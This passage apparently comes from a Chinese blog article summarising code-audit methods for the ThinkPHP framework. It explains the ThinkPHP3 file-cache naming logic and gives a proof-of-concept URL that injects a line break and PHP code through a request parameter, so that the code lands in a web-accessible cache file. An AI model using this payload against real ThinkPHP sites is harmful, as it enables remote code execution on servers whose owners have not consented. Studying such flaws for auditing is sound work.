C('DATA_CACHE_KEY')就是获取配置文件中 DATA_CACHE_KEY 的值,该值默认为空。该值为空时,$name最终的 md5 加密值也就清楚了


$this->options['prefix']默认为空,$this->options['temp']默认为Application/Runtime/Temp,如果在默认情况下,文件名,所在目录就很好控制了


private function filename($name) {        $name  =  md5(C('DATA_CACHE_KEY').$name);        if(C('DATA_CACHE_SUBDIR')) {        }else{            $filename  =  $this->options['prefix'].$name.'.php';        }        return $this->options['temp'].$filename;    }
复制代码

漏洞利用

利用上面的示例程序,poc:


http://tp.test:8888/home/index/test?name=%0d%0aphpinfo();%0d%0a//
复制代码


0x0d - \r, carrige return 回车 0x0a - \n, new line 换行

Windows 中换行为 0d 0a

UNIX 换行为 0a


参数名 name 决定泄露缓存文件名,md5(name)=b068931cc450442b63f5b3d276ea4297,文件名则为:b068931cc450442b63f5b3d276ea4297.php,默认目录为 Application/Runtime/Temp,然后访问我们的 php 文件


小结

因为 ThinkPHP3 的入口文件位于根目录下,和 application 等目录在同一目录一下,导致系统很多文件都可以访问,这里生成的缓存文件也是可以直接访问的,在 TP5 一些版本中也有这个漏洞,但是 TP5 的入口文件更加安全,这个漏洞并一定能利用。

总结

本文基本是依照 TP3 出现的历史漏洞来总结的审计方法,其中还有很多没有提到的点,如 TP3 对文件上传的过滤等,不过本文到这已经有 9000 多字了,有点超过我的预期,至于本文没有提到的点,大多是按照正常的 php 审计方法就能审计 TP3 的程序,所以本文就此结束

用户头像

我是一名网络安全渗透师 2021.06.18 加入

关注我,后续将会带来更多精选作品,需要资料+wx:mengmengji08

评论

发布
暂无评论
总结下ThinkPHP的代码审计方法